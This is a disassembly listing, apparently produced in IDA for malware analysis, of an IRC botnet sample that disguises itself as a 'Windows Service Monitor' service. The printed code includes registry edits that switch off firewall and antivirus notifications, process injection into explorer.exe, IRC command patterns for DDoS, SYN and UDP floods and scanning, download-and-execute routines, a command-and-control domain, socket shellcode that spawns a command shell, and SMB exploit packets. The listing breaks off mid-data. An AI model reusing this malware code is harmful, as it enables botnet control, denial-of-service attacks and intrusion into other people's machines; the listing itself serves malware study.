; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : BB70A6F6DD1770581F42F2D1040B849B ; File Name : u:\work\bb70a6f6dd1770581f42f2d1040b849b_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 600000 ; Section 1. (virtual address 00001000) ; Virtual size : 00005000 ( 20480.) ; Section size in file : 00005000 ( 20480.) ; Offset to raw data for section: 00001000 ; Flags C00000E0: Text Data Bss Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write MEW segment para public 'BSS' use32 assume cs:MEW ;org 601000h assume es:nothing, ss:nothing, ds:MEW, fs:nothing, gs:nothing dword_601000 dd 77E37D39h ; resolved to->ADVAPI32.StartServiceCtrlDispatcherAdword_601004 dd 77DEB88Ch ; resolved to->ADVAPI32.OpenServiceA ; sub_602804+24r ... dword_601008 dd 77DEADA7h ; resolved to->ADVAPI32.OpenSCManagerA ; sub_602804+Er ... dword_60100C dd 77DE5E4Dh ; resolved to->ADVAPI32.CloseServiceHandle ; sub_602804+42r ... dword_601010 dd 77E37311h ; resolved to->ADVAPI32.DeleteServicedword_601014 dd 77DEB193h ; resolved to->ADVAPI32.SetServiceStatusdword_601018 dd 77DF0953h ; resolved to->ADVAPI32.RegisterServiceCtrlHandlerAdword_60101C dd 77E36CC9h ; resolved to->ADVAPI32.ChangeServiceConfigAdword_601020 dd 77DEB635h ; resolved to->ADVAPI32.ControlServicedword_601024 dd 77DD6BF0h ; resolved to->ADVAPI32.RegCloseKey ; sub_6034D2+E7r ... dword_601028 dd 77DDEBE7h ; resolved to->ADVAPI32.RegSetValueExA ; sub_6034D2+C3r ... dword_60102C dd 77DFD5BBh ; resolved to->ADVAPI32.RegCreateKeyA ; sub_6034D2+A8r ... dword_601030 dd 77DF087Fh ; resolved to->ADVAPI32.SetSecurityInfodword_601034 dd 77E36F61h ; resolved to->ADVAPI32.ChangeServiceConfig2A ; sub_60272B+C4r dword_601038 dd 77DF3238h ; resolved to->ADVAPI32.StartServiceAdword_60103C dd 77E37071h ; resolved to->ADVAPI32.CreateServiceA dd 0 dword_601044 dd 7C80E93Fh ; resolved to->KERNEL32.CreateMutexAdword_601048 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_60104C dd 7C80EA1Bh ; resolved to->KERNEL32.OpenMutexAdword_601050 dd 7C81042Ch ; resolved to->KERNEL32.CreateRemoteThreaddword_601054 dd 7C80220Fh ; resolved to->KERNEL32.WriteProcessMemory ; sub_60383E+D4r dword_601058 dd 7C809A72h ; resolved to->KERNEL32.VirtualAllocExdword_60105C dd 7C80DDFEh ; resolved to->KERNEL32.DuplicateHandledword_601060 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileAdword_601064 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObjectdword_601068 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_60492B+2Er dword_60106C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_60492B+Er dword_601070 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_60383E+19r ... dword_601074 dd 7C8214E3h ; resolved to->KERNEL32.GetDriveTypeAdword_601078 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_60107C dd 7C82C2D3h ; resolved to->KERNEL32.GetLogicalDriveStringsAdword_601080 dd 7C80EDD7h ; resolved to->KERNEL32.FindClosedword_601084 dd 7C834EB1h ; resolved to->KERNEL32.FindNextFileAdword_601088 dd 7C8137D9h ; resolved to->KERNEL32.FindFirstFileAdword_60108C dd 7C8329D9h ; resolved to->KERNEL32.ExpandEnvironmentStringsAdword_601090 dd 7C80FC2Fh ; resolved to->KERNEL32.GlobalFreedword_601094 dd 7C80FD2Dh ; resolved to->KERNEL32.GlobalAllocdword_601098 dd 7C8608FFh ; resolved to->KERNEL32.GetTempFileNameAdword_60109C dd 7C801A24h ; resolved to->KERNEL32.CreateFileAdword_6010A0 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; sub_60383E+6r dword_6010A4 dd 7C821363h ; resolved to->KERNEL32.GetWindowsDirectoryAdword_6010A8 dd 7C8365A5h ; resolved to->KERNEL32._lcreatdword_6010AC dd 7C834E64h ; resolved to->KERNEL32._lclosedword_6010B0 dd 7C80929Ch ; resolved to->KERNEL32.GetTickCount ; sub_603B4B+7r ... dword_6010B4 dd 7C802367h ; resolved to->KERNEL32.CreateProcessA ; sub_60383E+54r ... dword_6010B8 dd 7C830D74h ; resolved to->KERNEL32.lstrcmpA ; sub_602D3E+C3r ... dword_6010BC dd 7C813093h ; resolved to->KERNEL32.IsDebuggerPresentdword_6010C0 dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess ; sub_6037CF+67r ... dword_6010C4 dd 7C810637h ; resolved to->KERNEL32.CreateThread ; sub_603AF7+25r ... dword_6010C8 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameAdword_6010CC dd 7C810111h ; resolved to->KERNEL32.lstrcpynA ; sub_602928+159r ... dword_6010D0 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryAdword_6010D4 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_6034D2+286r dword_6010D8 dd 7C8286EEh ; resolved to->KERNEL32.CopyFileAdword_6010DC dd 7C809728h ; resolved to->KERNEL32.GetCurrentThreadId ; sub_603B4B+DCr ... dword_6010E0 dd 7C802442h ; resolved to->KERNEL32.Sleep ; sub_6026A5+6Er ... align 8 dword_6010E8 dd 71A6EA82h align 10h dword_6010F0 dd 7E418D2Bh ; resolved to->USER32.CharUpperA ; sub_603F01+A0r dword_6010F4 dd 7E41A8ADh ; resolved to->USER32.wsprintfA ; sub_602928+10Cr ... dd 0 dword_6010FC dd 71AB2B66h ; resolved to->WS2_32.ntohsdword_601100 dd 71AB2B66h ; resolved to->WS2_32.ntohs ; sub_6044D2+16Fr ... dword_601104 dd 71AB4489h ; resolved to->WS2_32.WSAIoctldword_601108 dd 71AC1028h ; resolved to->WS2_32.acceptdword_60110C dd 71AB4519h ; resolved to->WS2_32.ioctlsocketdword_601110 dd 71AB2BC0h ; resolved to->WS2_32.ntohl ; sub_603C3B+2A2r dword_601114 dd 71AB4544h ; resolved to->WS2_32.__WSAFDIsSetdword_601118 dd 71AB3F41h ; resolved to->WS2_32.inet_ntoa ; sub_6030CA+2B7r ... dword_60111C dd 71AB8769h ; resolved to->WS2_32.WSASocketA ; sub_60424F+114r dword_601120 dd 71AB4FD4h ; resolved to->WS2_32.gethostbyname ; sub_602D3E+2B0r dword_601124 dd 71AB3B91h ; resolved to->WS2_32.socket ; sub_603C3B+60r ... dword_601128 dd 71AB3EA1h ; resolved to->WS2_32.setsockoptdword_60112C dd 71AB406Ah ; resolved to->WS2_32.connect ; sub_603C3B+1D2r ... dword_601130 dd 71AB428Ah ; resolved to->WS2_32.send ; sub_602928+142r ... dword_601134 dd 71AB951Eh ; resolved to->WS2_32.getsockname ; sub_6044D2+21r dword_601138 dd 71AB2DC0h ; resolved to->WS2_32.select ; sub_603C3B+1FEr dword_60113C dd 71AB615Ah ; resolved to->WS2_32.recv ; sub_6044D2+EAr ... dword_601140 dd 71AB9639h ; resolved to->WS2_32.closesocket ; sub_6030CA+F5r ... dword_601144 dd 71AB664Dh ; resolved to->WS2_32.WSAStartupdword_601148 dd 71AB3E00h ; resolved to->WS2_32.bind ; sub_6044D2+63r dword_60114C dd 71AB2BF4h ; resolved to->WS2_32.inet_addr ; sub_60424F+7Br dword_601150 dd 71AB88D3h ; resolved to->WS2_32.listen align 10h aCWindowsSystem db 'C:\WINDOWS\system32\winsvcmon.exe',0 ; DATA XREF: sub_6026A5+9o ; sub_6026A5+19o ... align 4 dd 39h dup(0) dword_601268 dd 0 ; sub_602D3E+256r ... dword_60126C dd 0 ; sub_602928+83r ... dword_601270 dd 0 ; sub_602928+1Aw ... dword_601274 dd 0 ; sub_602928+52w ... dword_601278 dd 80h dup(0) ; sub_602928+122o ... dword_601478 dd 4 dup(0) ; sub_602D3E+189o ... dword_601488 dd 8 dup(0) ; sub_602928+15Fo ... word_6014A8 dw 0 ; DATA XREF: sub_602928+2Aw ; sub_602928+4Cw ... align 4 dword_6014AC dd 0 ; sub_602928+11Cr ... dword_6014B0 dd 0 ; sub_604422+73w ... align 8 byte_6014B8 db 0 ; DATA XREF: sub_604422+Fw ; sub_604422+44o ... align 4 dd 1Fh dup(0) dword_601538 dd 0 ; sub_6030CA+297r dword_60153C dd 0 ; sub_602D3E+2A4r ... dword_601540 dd 0 ; sub_602928+DBr ... dd 7 dup(0) aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_6026A5+58o ; sub_602853+9o ... align 4 dd 3Dh dup(0) aD: ; DATA XREF: sub_6030CA+2F3o ; sub_60383E+37o ... unicode 0, <d>,0 unicode 0, <h>,0 db '¼',7,0 align 4 dd 5C8h dword_601680 dd 44h ; sub_602853+2Fw ... dd 0Ah dup(0) dword_6016AC dd 81h word_6016B0 dw 0 ; DATA XREF: sub_602853+43w align 4 dd 4 dup(0) ; --------------------------------------------------------------------------- loc_6016C4: ; DATA XREF: sub_60383E+A7o jmp short loc_6016F3 ; --------------------------------------------------------------------------- loc_6016C6: ; CODE XREF: MEW:loc_6016F3p push 0FFFFFFFFh ; --------------------------------------------------------------------------- db 68h dword_6016CC dd 4 db 0B8h dword_6016D1 dd 7C802520h ; resolved to->KERNEL32.WaitForSingleObject db 0FFh, 0D0h, 68h dword_6016D8 dd 4 db 0B8h dword_6016DD dd 7C809B47h ; resolved to->KERNEL32.CloseHandle db 0FFh, 0D0h, 0B8h dword_6016E4 dd 7C831EABh ; resolved to->KERNEL32.DeleteFileA dd 6AD0FFh db 0B8h dword_6016ED dd 7C81CDDAh ; resolved to->KERNEL32.ExitProcess; --------------------------------------------------------------------------- call eax loc_6016F3: ; CODE XREF: MEW:loc_6016C4j call loc_6016C6 ; --------------------------------------------------------------------------- dd 0 dword_6016FC dd 1 ; sub_6030CA+25Aw ... dword_601700 dd 1 ; sub_603AF7+Cw ... dword_601704 dd 1 ; sub_604422+81w ... off_601708 dd offset aOper?? ; DATA XREF: MEW:off_601740o ; "OPER ?* ?* *" dd 0 off_601710 dd offset a?login ; DATA XREF: MEW:00601744o ; "* :?login * *" dd offset a?Syn ; "* :?*syn* *" dd offset a?Udp ; "* :?*udp* *" dd offset a?Ddos ; "* :?*ddos* *" dd offset aPass? ; "PASS ?* " align 8 off_601728 dd offset a_332? ; DATA XREF: MEW:00601748o ; "*:*.* 332 * #* :?* *" dd offset a?Scan ; "* :?*scan* *" dd offset aPrivmsg? ; "*PRIVMSG * :?* *" dd offset aUser? ; "USER ?* " dd offset aJoin ; "JOIN #* *" align 10h off_601740 dd offset off_601708 ; DATA XREF: sub_60481B+4Fr ; sub_60481B+65r dd offset off_601710 dd offset off_601728 align 10h loc_601750: ; DATA XREF: sub_60265F+4o mov edx, 601180h mov ecx, 5D0h call sub_60176E mov edx, offset byte_601777 mov ecx, 3799h push offset sub_602614 ; =============== S U B R O U T I N E ======================================= sub_60176E proc near ; CODE XREF: MEW:0060175Ap ; sub_60176E+4j xor byte ptr [edx], 5Dh inc edx loop sub_60176E retn 8 sub_60176E endp ; --------------------------------------------------------------------------- byte_601777 db 0 ; DATA XREF: MEW:0060175Fo dword_601778 dd 32312E25h, 255C7338h, 7334362Eh, 0aAj74mj33o_v46s db 'aj74mj33o.v46suer0dszx.info',0 ; DATA XREF: sub_602928+Eo ; sub_602928:loc_602964o word_6017A4 dw 0FA71h ; DATA XREF: sub_602928+46r byte_6017A6 db 2Eh ; DATA XREF: sub_602D3E+12Cr ; sub_603437+31r byte_6017A7 db 21h ; DATA XREF: sub_602D3E+14Br ; sub_603437+50r aAj74mj33o_v4_0 db 'aj74mj33o.v46suer0dszx.info',0 ; DATA XREF: sub_602928+1Ao word_6017C4 dw 0FA71h ; DATA XREF: sub_602928+24r align 4 dword_6017C8 dd 337623h ; sub_602D3E+352o ... a9yc8b2ni db '9yc8b2ni',0 ; DATA XREF: sub_602D3E+34Do align 4 aGm2ud36_0 db 'gm2ud36',0 ; DATA XREF: sub_602928+52o aGm2ud36 db 'gm2ud36',0 ; DATA XREF: sub_602928+30o dword_6017E8 dd 12Ch dword_6017EC dd 2D3376h dword_6017F0 dd 402E212Ah, 2EhaWinsvcmon_0 db 'winsvcmon',0 ; DATA XREF: sub_6037CF+18o ; sub_6037CF+3Eo align 4 aWinsvcmon_exe db 'winsvcmon.exe',0 ; DATA XREF: sub_6026A5+14o align 4 aWinsvcmon db 'winsvcmon',0 ; DATA XREF: sub_602614+1Eo ; sub_60272B+1Ao ... align 10h aWindowsService db 'Windows Service Monitor',0 ; DATA XREF: sub_60272B+52o aMonitorsAndVer db 'Monitors and verifies integrity of all vital Windows services. If' ; DATA XREF: sub_60272B+A0o db ' this service is stopped, service management will be unavailable.' db ' If this service is disabled, any services that explicitly depend' db ' on it will fail to start.',0 align 4 aNick_24s db 'NiCK %.24s',0Ah,0 ; DATA XREF: sub_602928+164o ; sub_602D3E+19Eo aUserLLLL db 'USeR l l l l',0Ah,0 ; DATA XREF: sub_602928+137o align 4 aPass_32s db 'PaSS %.32s',0Ah,0 ; DATA XREF: sub_602928+102o aPrivmsg_16s_48 db 'PRiVMSG %.16s :%.480s',0Ah,0 ; DATA XREF: sub_602CF3+11o align 4 aJoin_16s_16s db 'JOiN %.16s %.16s',0Ah,0 ; DATA XREF: sub_602D3E+357o align 4 aUserhost_16s db 'USeRHOST %.16s',0Ah,0 ; DATA XREF: sub_602D3E+31Co a001 db '001',0 ; DATA XREF: sub_602D3E:loc_60302Co a302 db '302',0 ; DATA XREF: sub_602D3E:loc_602F7Eo a332 db '332',0 ; DATA XREF: sub_602D3E:loc_602F12o a433 db '433',0 ; DATA XREF: sub_602D3E:loc_602EA5o aPrivmsg db 'PRIVMSG',0 ; DATA XREF: sub_602D3E:loc_602DF9o aPong_500s db 'PoNG %.500s',0Dh,0Ah,0 ; DATA XREF: sub_602D3E+85o align 4 aPing db 'PING',0 ; DATA XREF: sub_602D3E:loc_602DAEo align 4 aExec db '[exec] :(',0 ; DATA XREF: sub_6030CA:loc_6033F2o align 4 aExec_0 db '[exec] :)',0 ; DATA XREF: sub_6030CA+31Co align 4 aNi_16s_16s db '[ni] %.16s %.16s',0 ; DATA XREF: sub_6030CA+2C5o align 4 a_500s db '%.500s',0Ah,0 ; DATA XREF: sub_6030CA+1E1o aQuit db 'QUiT',0Ah,0 ; DATA XREF: sub_6030CA+DEo align 4 a_8s08x db '%.8s%08x',0 ; DATA XREF: sub_6034AE+Fo align 4 aSharedaccess db 'sharedaccess',0 ; DATA XREF: sub_6034D2+29Do align 4 aSDebugDcpromo_ db '%s\debug\dcpromo.log',0 ; DATA XREF: sub_6034D2+252o align 4 aSoftwarePoli_0 db 'software\policies\microsoft\windowsfirewall\standardprofile',0 ; DATA XREF: sub_6034D2+205o aEnablefirewall db 'enablefirewall',0 ; DATA XREF: sub_6034D2+1EAo ; sub_6034D2+222o align 4 aSoftwarePolici db 'software\policies\microsoft\windowsfirewall\domainprofile',0 ; DATA XREF: sub_6034D2+1CDo align 4 aFirewalldisa_0 db 'firewalldisableoverride',0 ; DATA XREF: sub_6034D2+1B2o aFirewalldisabl db 'firewalldisablenotify',0 ; DATA XREF: sub_6034D2+197o align 4 aAntivirusoverr db 'antivirusoverride',0 ; DATA XREF: sub_6034D2+17Co align 4 aAntivirusdisab db 'antivirusdisablenotify',0 ; DATA XREF: sub_6034D2+161o align 10h aSoftwareMicr_0 db 'software\microsoft\security center',0 ; DATA XREF: sub_6034D2+144o align 4 aAutosharewks db 'autosharewks',0 ; DATA XREF: sub_6034D2+129o align 4 aAutoshareserve db 'autoshareserver',0 ; DATA XREF: sub_6034D2+10Eo aSystemCurren_0 db 'system\currentcontrolset\services\lanmanserver\parameters',0 ; DATA XREF: sub_6034D2+F1o align 10h aRestrictanon_0 db 'restrictanonymoussam',0 ; DATA XREF: sub_6034D2+D6o align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_6034D2+BBo align 4 aSystemCurrentc db 'system\currentcontrolset\control\lsa',0 ; DATA XREF: sub_6034D2+9Eo align 4 aEnabledcom db 'enabledcom',0 ; DATA XREF: sub_6034D2+83o align 10h aSoftwareMicros db 'software\microsoft\ole',0 ; DATA XREF: sub_6034D2+6Ao align 4 aN: ; DATA XREF: sub_6034D2+9o unicode 0, <n>,0 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_60383E+4Do align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_603ABE+1Do align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_603ABE+9o align 10h aFindfile_256s_ db '[findfile] %.256s%.240s',0 ; DATA XREF: sub_6040D9+D0o a_256s_250s db '%.256s%.250s\',0 ; DATA XREF: sub_6040D9+8Co align 4 a__ db '..',0 ; DATA XREF: sub_6040D9+6Ao align 4 a_: ; DATA XREF: sub_6040D9+54o ; sub_6048A6+45o unicode 0, <.>,0 a_256s db '%.256s*',0 ; DATA XREF: sub_6040D9+Co aComspecQ db '"%comspec%" /Q',0 ; DATA XREF: sub_60424F+18Fo align 4 aJoin db 'JOIN #* *',0 ; DATA XREF: MEW:00601738o align 4 aUser? db 'USER ?* ',0 ; DATA XREF: MEW:00601734o align 10h aPrivmsg? db '*PRIVMSG * :?* *',0 ; DATA XREF: MEW:00601730o align 4 a?Scan db '* :?*scan* *',0 ; DATA XREF: MEW:0060172Co align 4 a_332? db '*:*.* 332 * #* :?* *',0 ; DATA XREF: MEW:off_601728o align 4 aPass? db 'PASS ?* ',0 ; DATA XREF: MEW:00601720o align 4 a?Ddos db '* :?*ddos* *',0 ; DATA XREF: MEW:0060171Co align 4 a?Udp db '* :?*udp* *',0 ; DATA XREF: MEW:00601718o a?Syn db '* :?*syn* *',0 ; DATA XREF: MEW:00601714o a?login db '* :?login * *',0 ; DATA XREF: MEW:off_601710o align 10h aOper?? db 'OPER ?* ?* *',0 ; DATA XREF: MEW:off_601708o align 10h a_16sHu_16sHu_2 db '[%.16s:%hu->%.16s:%hu] "%.256s"',0 ; DATA XREF: sub_6044D2+314o dword_601D40 dd 0 aDl08xDl db '[dl:%08x] :( dl',0 ; DATA XREF: sub_60492B+16Fo aDl08xExec db '[dl:%08x] :( exec',0 ; DATA XREF: sub_60492B+140o align 4 aDl08x db '[dl:%08x] :)',0 ; DATA XREF: sub_60492B+103o align 4 aDl08x_180sTo_1 db '[dl:%08x] %.180s to %.180s',0 ; DATA XREF: sub_60492B+8Ao align 4 aUrldownloadtof db 'URLDownloadToFileA',0 ; DATA XREF: sub_60492B+23o align 4 aUrlmon_dll db 'urlmon.dll',0 ; DATA XREF: sub_60492B+9o align 8 ; =============== S U B R O U T I N E ======================================= sub_601DB8 proc near ; DATA XREF: sub_604D9C+61o var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh ; FUNCTION CHUNK AT 00601DC3 SIZE 0000006B BYTES add esp, 0FFFFEFFFh inc esp jmp short loc_601DC3 sub_601DB8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_601DC1 proc near ; CODE XREF: sub_601DB8:loc_601DC3p ; FUNCTION CHUNK AT 00601E2E SIZE 00000121 BYTES jmp short loc_601E2E sub_601DC1 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_601DB8 loc_601DC3: ; CODE XREF: sub_601DB8+7j call sub_601DC1 push ebx push ebp push esi push edi mov ebp, [esp+1014h+var_FFC] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_601DE1: ; CODE XREF: sub_601DB8+46j jecxz short loc_601E15 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_601DEC: ; CODE XREF: sub_601DB8+40j xor eax, eax lodsb cmp al, ah jz short loc_601DFA ror edi, 0Dh add edi, eax jmp short loc_601DEC ; --------------------------------------------------------------------------- loc_601DFA: ; CODE XREF: sub_601DB8+39j cmp edi, [esp+1014h+var_1000] jnz short loc_601DE1 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_601E17 ; --------------------------------------------------------------------------- loc_601E15: ; CODE XREF: sub_601DB8:loc_601DE1j xor eax, eax loc_601E17: ; CODE XREF: sub_601DB8+5Bj pop edi pop esi pop ebp pop ebx mov [esp+1004h+var_1000], eax mov eax, [esp+1004h+var_1004] mov [esp+1004h+var_FFC], eax mov eax, [esp+1004h+var_1000] add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_601DB8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_601DC1 loc_601E2E: ; CODE XREF: sub_601DC1j pop esi push 30h pop ecx mov ebx, fs:[ecx] mov ebx, [ebx+0Ch] mov ebx, [ebx+1Ch] mov ebx, [ebx] mov edi, [ebx+8] sub esp, 1Ch mov ebp, esp xor eax, eax push eax push 6578652Eh mov [ebp+14h], esp push edi push 0E88A49EAh call esi push 6 push dword ptr [ebp+14h] call eax mov [ebp+4], eax push edi push 0E9238ADBh call esi mov [ebp+0Ch], eax push edi push 0EC0E4E8Eh call esi xor ecx, ecx mov cx, 6C6Ch push ecx push 642E3233h push 5F327377h push esp call eax mov ebx, eax push ebx push 0E71819B6h call esi mov [ebp+10h], eax push ebx push 79C679E7h call esi mov [ebp+18h], eax push ebx push 492F0B6Eh call esi push 6 push 1 push 2 call eax mov [ebp+8], eax xor eax, eax push eax push eax push eax mov eax, 427FF02h xor ah, 0FFh push eax mov eax, esp push 10h push eax push dword ptr [ebp+8] push ebx push 0C7701AA4h call esi call eax pop eax push ebx push 0E92EADA4h call esi push 10h push dword ptr [ebp+8] call eax xor eax, eax push eax push eax push dword ptr [ebp+8] push ebx push 498649E5h call esi call eax mov ecx, [ebp+8] mov [ebp+8], eax push ecx call dword ptr [ebp+18h] add esp, 0FFFFFEFCh mov ebx, esp loc_601F07: ; CODE XREF: sub_601DC1+15Fj xor ecx, ecx push ecx mov cl, 0FFh push ecx push ebx push dword ptr [ebp+8] call dword ptr [ebp+10h] test eax, eax jle short loc_601F22 push eax push ebx push dword ptr [ebp+4] call dword ptr [ebp+0Ch] jmp short loc_601F07 ; --------------------------------------------------------------------------- loc_601F22: ; CODE XREF: sub_601DC1+155j push dword ptr [ebp+8] call dword ptr [ebp+18h] push edi push 0DD1A4C5Bh call esi push dword ptr [ebp+4] call eax xor eax, eax push eax push dword ptr [ebp+14h] push edi push 0E8AFE98h call esi call eax push edi push 60E0CEEFh call esi call eax ; END OF FUNCTION CHUNK FOR sub_601DC1 ; --------------------------------------------------------------------------- db 0 dword_601F50 dd 197h ; sub_604D9C+4Cr ... dword_601F54 dd 182h ; sub_604CA5+50r ... ; =============== S U B R O U T I N E ======================================= sub_601F58 proc near ; DATA XREF: sub_604CA5+2Eo var_1004 = dword ptr -1004h var_1000 = dword ptr -1000h var_FFC = dword ptr -0FFCh ; FUNCTION CHUNK AT 00601F65 SIZE 0000006B BYTES add esp, 0FFFFEFFFh inc esp mov ebp, esp jmp short loc_601F65 sub_601F58 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_601F63 proc near ; CODE XREF: sub_601F58:loc_601F65p ; FUNCTION CHUNK AT 00601FD0 SIZE 0000010A BYTES jmp short loc_601FD0 sub_601F63 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_601F58 loc_601F65: ; CODE XREF: sub_601F58+9j call sub_601F63 push ebx push ebp push esi push edi mov ebp, [esp+1014h+var_FFC] mov eax, [ebp+3Ch] mov edx, [ebp+eax+78h] add edx, ebp mov ecx, [edx+18h] mov ebx, [edx+20h] add ebx, ebp loc_601F83: ; CODE XREF: sub_601F58+48j jecxz short loc_601FB7 dec ecx mov esi, [ebx+ecx*4] add esi, ebp xor edi, edi cld loc_601F8E: ; CODE XREF: sub_601F58+42j xor eax, eax lodsb cmp al, ah jz short loc_601F9C ror edi, 0Dh add edi, eax jmp short loc_601F8E ; --------------------------------------------------------------------------- loc_601F9C: ; CODE XREF: sub_601F58+3Bj cmp edi, [esp+1014h+var_1000] jnz short loc_601F83 mov ebx, [edx+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edx+1Ch] add ebx, ebp mov eax, [ebx+ecx*4] add eax, ebp jmp short loc_601FB9 ; --------------------------------------------------------------------------- loc_601FB7: ; CODE XREF: sub_601F58:loc_601F83j xor eax, eax loc_601FB9: ; CODE XREF: sub_601F58+5Dj pop edi pop esi pop ebp pop ebx mov [esp+1004h+var_1000], eax mov eax, [esp+1004h+var_1004] mov [esp+1004h+var_FFC], eax mov eax, [esp+1004h+var_1000] add esp, 8 retn ; END OF FUNCTION CHUNK FOR sub_601F58 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_601F63 loc_601FD0: ; CODE XREF: sub_601F63j xor eax, eax add eax, fs:[eax+30h] mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov edi, [eax+8] pop esi xor eax, eax push eax push 6578652Eh mov [ebp+14h], esp push edi push 0E88A49EAh call esi push 6 push dword ptr [ebp+14h] call eax mov [ebp+4], eax push edi push 0E9238ADBh call esi mov [ebp+0Ch], eax push edi push 0EC0E4E8Eh call esi xor ecx, ecx mov cx, 6C6Ch push ecx push 642E3233h push 5F327377h push esp call eax mov ebx, eax push ebx push 0E71819B6h call esi mov [ebp+10h], eax push ebx push 79C679E7h call esi mov [ebp+18h], eax push ebx push 492F0B6Eh call esi push 6 push 1 push 2 call eax mov [ebp+0], eax xor eax, eax push eax push eax push eax mov eax, 427FF02h xor ah, 0FFh push eax mov eax, esp push 10h push eax push dword ptr [ebp+0] push ebx push 0C7701AA4h call esi call eax push eax push ebx push 0E92EADA4h call esi push dword ptr [ebp+0] call eax push eax push eax push dword ptr [ebp+0] push ebx push 498649E5h call esi call eax mov [ebp+0], eax add esp, 0FFFFFEFCh mov ebx, esp loc_602098: ; CODE XREF: sub_601F63+14Ej xor ecx, ecx push ecx mov cl, 0FFh push ecx push ebx push dword ptr [ebp+0] call dword ptr [ebp+10h] test eax, eax jle short loc_6020B3 push eax push ebx push dword ptr [ebp+4] call dword ptr [ebp+0Ch] jmp short loc_602098 ; --------------------------------------------------------------------------- loc_6020B3: ; CODE XREF: sub_601F63+144j push edi push 0DD1A4C5Bh call esi push dword ptr [ebp+4] call eax xor eax, eax push eax push dword ptr [ebp+14h] push edi push 0E8AFE98h call esi call eax push edi push 60E0CEEFh call esi call eax ; END OF FUNCTION CHUNK FOR sub_601F63 ; --------------------------------------------------------------------------- dw 0 align 10h unk_6020E0 db 81h ; ; DATA XREF: sub_604B25+38o db 2 dup(0), 44h aCkfdenecfdeffc db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0 aCacacacacacaca db ' CACACACACACACACACACACACACACACAAA',0 align 10h dword_602130 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_604B25+4Ao dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 2 dup(0) dword_6021C0 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_604B25+5Co dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_602270 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_604B25+6Eo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_602350 dd 3A000000h, 424D53FFh, 75h, 20011800h, 3 dup(0) ; DATA XREF: sub_604B25+ADo dd 0AB80000h, 46300800h, 